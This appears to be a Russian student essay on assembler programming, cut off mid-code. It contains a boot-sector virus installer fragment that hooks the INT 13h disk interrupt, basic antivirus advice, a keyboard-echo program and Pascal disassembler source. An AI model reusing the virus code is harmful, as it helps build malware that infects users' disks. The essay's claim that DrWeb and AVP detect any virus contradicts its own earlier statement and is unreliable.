; это просто метка системного сектора

; ----- Инсталлятор вируса в бут дискеты -----

install:

mov cs:[0000],4aebh

mov byte ptr cs:[0002],090h; нужная команда

push ds

xor ax,ax

mov ds,ax

mov ax,ds:[13h*4]

mov ds:[0e0h*4],ax

mov ax,ds:[13h*4+2]

mov ds:[0e0h*4+2],ax

mov word ptr ds:[13h*4],offset int13

mov ds:[13h*4+2],cs

pop ds

push cs

pop es

mov ax,0201h

mov cx,0001

mov dx,0000

mov bx,offset our_buffer

int 13h

xor ax,ax

mov ds,ax

mov ax,ds:[0e0h*4]

mov ds:[13h*4],ax

mov ax,ds:[0e0h*4+2]

mov ds:[13h*4+2],ax

mov ax,4c00h

int 21h

our_buffer:

end start

Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.

МЕТОДЫ БОРЬБЫ С ВИРУСАМИ

Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. На 100% защититься от вирусов практически невозможно (как если бы, пользователь меняется дискетами с друзьями, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не родится.

Наиболее широкое распространение по борьбе с вирусами получили такие программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы - как самые старые, так и только что появившиеся. Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Стараться никогда не давать работать посторонним на вашем компьютере - именно оничаще всего приносят вирусы. Особое внимание следует уделять играм -чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.

4. Дисассемблер

Когда готовый программный продукт, можно будет редактировать, переделывать по своему желанию, увидеть исходное написанной программы - это называется дисассемблированием.

Существуют множество готовых программ-дисассемблеров, такие как: Hex-редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и т.д.

Но недостатки всех этих дисассемблеров в том что в них не указывают например директивы (Директивы этой группы предназначены для управления видом файла листинга.

Все директивы являются парными -- это означает, что если одна директива что-то разрешает, то другая, наоборот, запрещает), а так же все они не способны полностью восстановить исходное программы. Чтобы вносить изменения в программу нужны достаточно хорошие знания ассемблера.

5. Программы

1) Программа, выполненная на ассемблере. Запустив программу можно вводит до 256 символов и одновременно выводить на экран(аналогичность команды DOS-“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана, цветовую палитру, прокрутку экрана, размер курсора.

page 60,132 ;Вывод символа и его скэн кода

model small

title Пробная программа

sseg segment para private 'stack'

dw 32 dup('??')

sseg ends

dseg segment para private 'data'

maska db 30h

KSIM DB 3

ROW DB 0

COL DB 0

SIM DB ' '

SCAN DB ' '

CHISLO DB ' '

STRSIM DB 100 DUP(' ')

dseg ends

cseg segment para private 'code'

assume ss:sseg,ds:dseg,cs:cseg,es:nothing

sum proc far ;Начало программы

push ds

sub ax,ax

push ax

mov ax,dseg

mov ds,ax

MOV AH,00H ;Установка 64-цветного режима

INT 10H

MOV AX,0600H ;Полная прокрутка экрана

MOV BH,07

MOV CX,0000

MOV DX,184FH

INT 10H

MOV AH,01 ; Установка размера курсора

MOV CH,06

MOV CL,07

INT 10H

MOV KSIM,0

MOV ROW,00 ; Задание начальных значении

MOV COL,00

MOV SI,0

MOV KSIM,10

M:

MOV AH,02; Установка курсора

MOV BH,00

MOV DH,ROW

MOV DL,COL

INT 10H

MOV AH,00 ;Ввод символа с клавиатуры

INT 16H

MOV STRSIM[SI],AL

SUB AH,28 ; KLAVISHA ENTER (exit)

JZ M1 ;Переход если ноль

MOV AH,09H ; Вывод очередного символа в позицию курсора

MOV AL,STRSIM[SI]

MOV BH,00

MOV BL,212

MOV CX,1

INT 10H

ADD COL,1

ADD SI,1

INC KSIM

JMP M;Безусловный переход

M1:

ret; Возврат из подпрограммы(RET-optional pop-value)

sum endp

cseg ends

end sum

2) Исходник программы дисассемблер выполненный на паскале:

---------- include file IO.INC ---- CUT HERE FOR IO.INC -------------

procedure WriteHex(B: byte);

const

Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';

var

i: integer;

begin

for i:= 1 downto 0 do

write(Hex[((B shr (i shl 2)) and $000F)])

end;

procedure WritelnHex(B: byte);

begin

WriteHex(B);

writeln

end;

procedure WriteHexInt(N: integer);

begin

WriteHex(N shr 8);

WriteHex(N and $00FF)

end;

procedure WritelnHexInt(N: integer);

begin

WriteHex(N shr 8);

WritelnHex(N and $00FF)

end;

procedure WriteAddress(N, M: integer);

begin

WriteHexInt(N);

Write(':');

WriteHexInt(M)

end;

procedure HexString(var Str; N: INTEGER);

const

Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';

var

i: byte;

begin

for i:= 0 to Mem[Seg(Str):Ofs(Str)] - 1 do

Mem[Seg(Str):(Ofs(Str)+Mem[Seg(Str):Ofs(Str)]-i)] :=

Ord(Hex[((N shr (i shl 2)) and $000F)])

end;

procedure WriteDouble(High, Low: INTEGER);

type

LongInt = ARRAY [0..3] OF BYTE;

const

Divisors : ARRAY [0..9] OF LongInt = ( ( 0, 0, 0, 1),

( 0, 0, 0, $A),

( 0, 0, 0, $64),

( 0, 0, 3, $E8),

( 0, 0, $27, $10),

( 0, 1, $86, $A0),

( 0, $F, $42, $40),

( 0, $98, $96, $80),

( 5, $F5, $E1, 0),

($3B, $9A, $CA, 0) );

var

i, j : INTEGER;

CharOffset,

Digit : BYTE;

Rep : ARRAY [0..9] OF CHAR;

Number : LongInt absolute Low;

OldNumber : LongInt;

stop : BOOLEAN;

begin

CharOffset := Ord(' ');

OldNumber := Number;

Rep := ' ';

for i:=9 downto 0 do begin

Digit := 0;

Number := OldNumber;

stop := false;

repeat

(* subtract Divisor from TestNumber *)

for j:=0 to 3 do begin

Number[j] := Number[j] - Divisors[i][3-j];

if (Number[j] > OldNumber[j]) AND (j<>3) then

Number[j+1] := number[j+1] - 1;

end;

if (Number[3] <= OldNumber[3]) then begin

Digit := succ(Digit);

CharOffset := Ord('0');

OldNumber := Number

end

else stop := true;

until stop;

Rep[9-i] := Chr(CharOffset+Digit);

end;

Write(Rep)

end;

procedure ComOut(var par);

const

WriteCommand = 1;

var

regs: RECORD

AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER

END;

B : BYTE absolute par;

begin

with Regs do begin

AX := (WriteCommand shl 8) + B;

DX := 0;

Intr($14, Regs);

end

end;

procedure BlockRead (var f: file; var buffer; var n: integer);

const

readfunction = $3F;

var

regs: RECORD

AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER

END;

begin

with Regs do begin

AX := (readfunction shl 8);

BX := MemW[Seg(f):Ofs(f)];

CX := n;

DX := Ofs(buffer);

DS := Seg(buffer);

Intr($21, Regs);

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during BlockRead');

end

else

n := AX

end;

end;

function FileSize (var f: file): INTEGER;

const

seekfunction = $42;

from_begin = 0;

from_current = 1;

from_end = 2;

var

regs: RECORD

AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER

END;

CurrentFilePointer_low,

CurrentFilePointer_high : INTEGER;

begin

with Regs do begin

AX := (seekfunction shl 8) + from_current;

BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)

CX := 0; (* offset-high *)

DX := 0; (* offset-low *)

Intr($21, Regs);

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during FileSize');

end;

CurrentFilePointer_low := AX;

CurrentFilePointer_high := DX;

(* determine file size *)

AX := (seekfunction shl 8) + from_end;

BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)

CX := 0; (* offset-high *)

DX := 0; (* offset-low *)

Intr($21, Regs);

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during FileSize');

end;

FileSize := AX;

(* restore FilePointer *)

AX := (seekfunction shl 8) + from_begin;

BX := MemW[Seg(f):Ofs(f)]; (* handle ! *)

CX := CurrentFilePointer_high;

DX := CurrentFilePointer_low;

Intr($21, Regs);

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during FileSize');

end;

end

end;

procedure BlockWrite (var f: file; var b; var n: integer);

const

writefunction = $40;

var

regs: RECORD

AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER

END;

begin

with Regs do begin

AX := (writefunction shl 8);

BX := MemW[Seg(f):Ofs(f)];

CX := n;

DX := Ofs(b);

DS := Seg(b);

Intr($21, Regs);

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during BlockWrite');

end

end;

end;

procedure Open(var f: file; VAR Name);

const

OpenFunction = $3D;

OpenMode = 128; (* read only *)

var

FName: STRING [255] ABSOLUTE Name;

regs: RECORD

AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags: INTEGER

END;

begin

FName := FName + chr (0);

with Regs do begin

AX := (OpenFunction shl 8) + OpenMode;

DX := Ofs (FName) + 1;

DS := Seg (FName);

Intr($21, Regs);

MemW [Seg (f) : Ofs (f)] := AX;

if (Flags and $0001) = 1 then begin

write('I/O Error ');

writeHex(AX shr 8);

writeln (' during Reset');

end

end

end;

----------- start of source ---- CUT HERE FOR DEB2ASM.PAS -------------

const

blank = ' ';

tab = #9;

comma = ',';

colon = ':';

semicolon = ';';

type

STR4 = STRING[4];

STR5 = STRING[5];

STR6 = STRING[6];

STR12 = STRING[12];

STR18 = STRING[18];

STR80 = STRING[80];

ReferenceTypes = (None, B, W, D, N, F);

ParseTypes = RECORD

Offset : STR4;

HexCode : STR12;

OpCode : STR6;

Operand1,

Operand2 : STR12;

Comment : BYTE; (* position where comment starts *)

TypeOverride : ReferenceTypes

END;

var

f_in, f_out : text[$2000];

Line : STR80;

LineCount,

CharPos : INTEGER;

FileName : STR80;

FileExt : BOOLEAN;

Rep : ARRAY [ReferenceTypes] OF STR5;

ParsedLine : ParseTypes;

(*$I <path>\io.inc *)

(*$I <path>\sort.box *)

const

SymbolTableSize = 2000;

type

TableEntry = RECORD

offset,

reference : INTEGER;

reftype : ReferenceTypes;

position : BYTE

END;

var

SymbolTable,

AuxTable : ARRAY [0 .. SymbolTableSize] OF TableEntry;

Current_SymbolTable_Index,

Symbol_Table_Length,

SortInputIndex,

SortOutputIndex,

SortStatus : INTEGER;

(* TOOLBOX SORT interface *)

procedure Inp;

begin

while SortInputIndex < Symbol_Table_Length do begin

SortRelease(SymbolTable[SortInputIndex]);

SortInputIndex := succ(SortInputIndex)

end;

end;

procedure Outp;

begin

while (NOT SortEOS) AND (SortOutputIndex <= Symbol_Table_Length) do begin

SortReturn(AuxTable[SortOutputIndex]);

SortOutputIndex := succ(SortOutputIndex) ;

end;

end;

function Less;

var

Entry1 : TableEntry absolute X;

Entry2 : TableEntry absolute Y;

begin

if Entry1.reference = Entry2.reference then

Less := Ord(Entry1.reftype) < Ord(Entry2.reftype)

else (* compare the Entries as unsigned integers *)

if ((Entry1.reference XOR Entry2.reference) AND $8000) = 0 then

Less := Entry1.reference < Entry2.reference

else if (Entry1.reference AND $8000)= $8000 then Less := false

else Less := true;

end;

procedure StoreReference(_Offset, _Label: INTEGER; _RefType: ReferenceTypes;

_position: BYTE);

(* This procedure keeps a table of locations referenced *)

(* including the type of reference *)

begin

(* if _RefType = N then begin

write('label at ');

writeHexInt(_Offset); write(' value: ');

writeHexInt(_Label);

end else begin

write('var ref at ');

writeHexInt(_Offset); write(' to location ');

writehexint(_Label);

write(' type: ', rep[_RefType]);

end;

*)

with SymbolTable[Current_SymbolTable_Index] do begin

offset := _Offset;

reference := _Label;

reftype := _RefType;

position := _position

end;

Current_SymbolTable_Index := succ(Current_SymbolTable_Index);

if Current_SymbolTable_Index = SymbolTableSize then begin

writeln(' SymbolTable overflow ..., program halted');

halt

end;

end;

procedure ParseLine(var Result: ParseTypes);

(* Parses one line of disassembly output *)

label

EndParseLine;

type

CharSet = SET OF CHAR;

const

U : CharSet = [#0 .. #$FF];

var

j, k : INTEGER;

procedure SkipBT; (* Skip blanks and tabs *)

label

EndSkip;

begin

while CharPos <= Ord(Line[0]) do begin

case Line[CharPos] of

blank: CharPos := succ(CharPos);

tab: CharPos := succ(CharPos)

else goto EndSkip

end

end;

EndSkip: end;

procedure SkipBTC; (* Skip blanks, tabs and commas *)

label

EndSkip;

begin

while CharPos <= Ord(Line[0]) do begin

case Line[CharPos] of

blank: CharPos:=succ(CharPos);

comma: CharPos:=succ(CharPos);

tab: CharPos:=succ(CharPos)

else goto EndSkip

end

end;

EndSkip: end;

procedure SkipUBT;

label

EndSkip;

begin

(* Structered code was: *)

(* *)

(* while (Line[CharPos] IN U-[blank,tab,semicolon]) do *)

(* CharPos:=succ(CharPos) *)

(* while ( (Line[CharPos] <> blank) AND (Line[CharPos] <> tab) *)

(* AND (Line[CharPos] <> semicolon) ) *)

(* AND (CharPos <= Length(Line)) do CharPos:= succ(CharPos); *)

while CharPos <= Ord(Line[0]) do begin

case Line[CharPos] of

blank: goto EndSkip;

tab: goto EndSkip;

semicolon: goto EndSkip

else CharPos := succ(CharPos)

end

end;

EndSkip: end;

procedure SkipUBTC;

label

EndSkip;

begin

(* !! Structered code was: *)

(* *)

(* while ( (Line[CharPos] <> blank) *)

(* AND (Line[CharPos] <> tab) *)

(* AND (Line[CharPos] <> comma) *)

(* AND (Line[CharPos] <> semicolon) *)

(* AND (CharPos <= Length(Line) ) do *)

(* CharPos:= succ(CharPos); *)

while CharPos <= Ord(Line[0]) do begin

case Line[CharPos] of

blank: goto EndSkip;

comma: goto EndSkip;

tab: goto EndSkip;

semicolon: goto EndSkip

else CharPos := succ(CharPos)

end

end;

EndSkip: end;

function Stop: BOOLEAN;

begin

(* code was: Stop := (Line[CharPos]=semicolon) *)

(* OR (CharPos > Length(Line) ) *)

(* remark: this function should perhaps be inline *)

if CharPos > Ord(Line[0]) then Stop := true

else if Line[CharPos] = semicolon then begin

Stop := true;

Result.Comment := CharPos

end

else Stop := false

end;

function Appropriate: BOOLEAN;

(* Find out whether the current line should be parsed *)

var

k: INTEGER;

begin

CharPos := 1;

if (Length(Line)<5) OR (Line[1]='-') then Appropriate := false

else begin

k := 1;

while NOT (Line[k] IN [colon, semicolon]) AND (k<6) do k:= succ(k);

if Line[k] <> semicolon then begin

Appropriate := true;

if Line[k] = colon then begin

CharPos := k + 1;

end

end else begin

Appropriate := false;

Result.Comment := k

end

end

end;

begin (* ParseLine *)

with Result do begin

TypeOverride := None;

Offset[0] := Chr(0);

HexCode[0] := Chr(0);

OpCode[0] := Chr(0);

Operand1[0] := Chr(0);

Operand2[0] := Chr(0);

Comment := Ord(Line[0]) + 1;

if NOT Appropriate then goto EndParseLine;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* Offset := Copy(Line, k, CharPos-k); *)

Offset[0] := Chr(CharPos-k);

Move(Line[k], Offset[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* HexCode := Copy(Line, k, CharPos-k); *)

HexCode[0] := Chr(CharPos-k);

Move(Line[k], HexCode[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* OpCode := Copy(Line, k, CharPos-k); *)

OpCode[0] := Chr(CharPos-k);

Move(Line[k], OpCode[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

(* at first operand *)

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

case Operand1[1] of

'B': if Operand1 = 'BYTE' then begin

TypeOverride := B;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'W': if Operand1 = 'WORD' then begin

TypeOverride := W;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'D': if Operand1 = 'DWORD' then begin

TypeOverride := D;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'F': if Operand1 = 'FAR' then begin

TypeOverride := F;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

end;

SkipBTC; if Stop then goto EndParseLine;

(* second operand *)

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

(* check for type override operators *)

case Operand2[1] of

'B': if Operand2 = 'BYTE' then begin

TypeOverride := B;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'W': if Operand2 = 'WORD' then begin

TypeOverride := W;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'D': if Operand2 = 'DWORD' then begin

TypeOverride := D;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'F': if Operand2 = 'FAR' then...


Подобные документы

  • Структура данных с указанием типов. Общая структурная схема программы. Алгоритмы сортировки вставками. Назначение make-файла. Функции управления программой; перемещения и корректировки введенных данных и их удаления справочника, загрузки данных из файла.

    курсовая работа [1,3 M], добавлен 12.01.2016

  • Основы проверки и расчета входных данных и вывода выходных данных программы, их блок-схемы. Реализация функции считывания числовых данных из файла, управление (создание, уничтожение и редактирование) визуальными компонентами во время выполнения программы.

    контрольная работа [1,3 M], добавлен 12.06.2009

  • Разработка программы, представляющей собой простой текстовый редактор, использующий структуру данных для промежуточного хранения редактируемого файла. Функциональное описание разработки. Внутренняя структура двоичного файла нового класса "bin_file".

    курсовая работа [254,6 K], добавлен 26.01.2013

  • Словесное описание алгоритма программы. Открытие файла процедурой Rewrite, его проверка на наличие ошибок при открытии. Особенности построения диаграммы. Листинг программы, ее тестирование и отладка. Выполнение процедуры CloseFile при закрытии файла.

    контрольная работа [17,3 K], добавлен 11.06.2010

  • Алгоритм и код программы для создания исходного двоичного файла чисел с произвольным количеством элементов, чтения из файла действительных восьмибайтных элементов и подсчёта общего количества элементов файла. Вывод результата работы программы на экран.

    контрольная работа [1,0 M], добавлен 23.11.2014

  • Структура заданного исходного файла и структуры данных, соответствующие данным файла. Подпрограмма проверки принадлежности текста к одной из шести кодовых таблиц. Алгоритмы перекодировки файла в cp1251. Алгоритм сортировки записей исходного файла.

    курсовая работа [63,7 K], добавлен 12.12.2010

  • Процедура ввода исходных данных в программу, вывод результатов работы программы на экран. Принцип организации хранения логически связанных наборов информации в виде файлов. Параметры характеристики файла, способы обращения к нему, соглашения по типу.

    реферат [14,5 K], добавлен 06.12.2011

  • Разработка шаблона для работы с двоичным файлом, в котором хранится структура данных (двоичное дерево объектов). Представление двоичного дерева в файле. Вставка объекта в дерево, его удаление. Алгоритм сжатия файла. Описание пользовательского интерфейса.

    курсовая работа [1,1 M], добавлен 26.01.2013

  • Принцип работы транслятора. Исследование формата данных объектного файла шестнадцатиразрядной системы DOS для последующего преобразования его в файл программы. Используемые директивы и команды ассемблера. Алгоритмы программы и таблицы компилятора.

    контрольная работа [35,9 K], добавлен 07.07.2012

  • Создание проекта, включающего две программы: одна программа – сортирует массив из файла, а другая выводит на экран содержание этого файла. Обе программы используют один и тот же файл в один момент времени, то есть работают оба процесса одновременно.

    лабораторная работа [14,5 K], добавлен 04.04.2011

  • Изучение основных этапов программирования на ассемблере, который является символическим представлением машинного языка, то есть каждой машинной команде соответствует команда ассемблера. Реализация алгоритма выполнения программы для просмотра bmp файлов.

    курсовая работа [248,0 K], добавлен 25.12.2012

  • Назначение команды "diskcomp". Текст и запуск командного файла. Сравнение команды в Windows 7 и Windows XP. Разработка файла-сценария в ОС Linux. Создание файла в подкаталоге. Создание файла "oglavlenie.txt" с отсортированным по времени списком файлов.

    курсовая работа [1,6 M], добавлен 22.08.2012

  • Проверка существования и статуса файла. Определение его размера. Открытие файла для чтения, записи, добавления. Закрытие файловых дескрипторов. Запись из переменной в файл. Загрузка файла из сети. Создание и удаление каталога. Функции работы с каталогами.

    презентация [133,9 K], добавлен 21.06.2014

  • Разработка тестирующей программы для проверки знаний студента по математике на языке программирования Turbo Pascal с использованием подпрограмм "Vvod" (создание файла с вопросами и ответами) и "Initialization" (запуск тестирование и инициализация файла).

    курсовая работа [137,7 K], добавлен 28.03.2010

  • Выбор режимов адресации, посредством которых будет осуществлен доступ к данным. Этапы создания программы. Характеристика таблицы символов и полученного файла листинга. Анализ изменения состояния регистра IP при выполнении команд JMP, Jcc, LOOPx.

    курсовая работа [4,9 M], добавлен 25.03.2012

  • Описание типизированных файлов. Принципы работы с файлами, создание и открытие на запись нового файла. Чтение из файла, открытие существующего файла на чтение. Определение имени файла. Запись в текстовый файл. Описание множества и операции над ними.

    реферат [86,4 K], добавлен 07.02.2011

  • Понятия файлов и каталогов. Область внешней памяти, группа файлов на одном носителе. Древовидная структура файлов на диске. Имя и местонахождение файла. Маршрут или путь по файловой системе. Запись имени файла в DOSе. Шаблоны. Структура каталога.

    лабораторная работа [15,2 K], добавлен 30.09.2008

  • Программа по организации заполнения массива объектов приложения из внешнего файла данных формата csv. Описание модуля Def.h, Plant.h и Main.cpp. Контрольный пример работы программы. Рассмотрение передачи неправильного имени файла в качестве параметра.

    курсовая работа [567,9 K], добавлен 27.01.2013

  • Программа обработки экономической информации, осуществляющая ввод исходной информации из файла. Просмотр таблицы исходных данных и ее редактирование. Внутреннее представление данных. Хранение записей входного файла. Добавление и удаление строк из списка.

    курсовая работа [131,8 K], добавлен 28.12.2012

  • Описание используемых в программе операторов, процедур, функций. Директива include. Правила объявления и определения функций в СИ++. Блок-схема алгоритма программы. Подпрограммы чтения из файла и записи в файл. Использование заголовочных файлов.

    курсовая работа [346,8 K], добавлен 26.04.2012

Работы в архивах красиво оформлены согласно требованиям ВУЗов и содержат рисунки, диаграммы, формулы и т.д.
PPT, PPTX и PDF-файлы представлены только в архивах.
Рекомендуем скачать работу.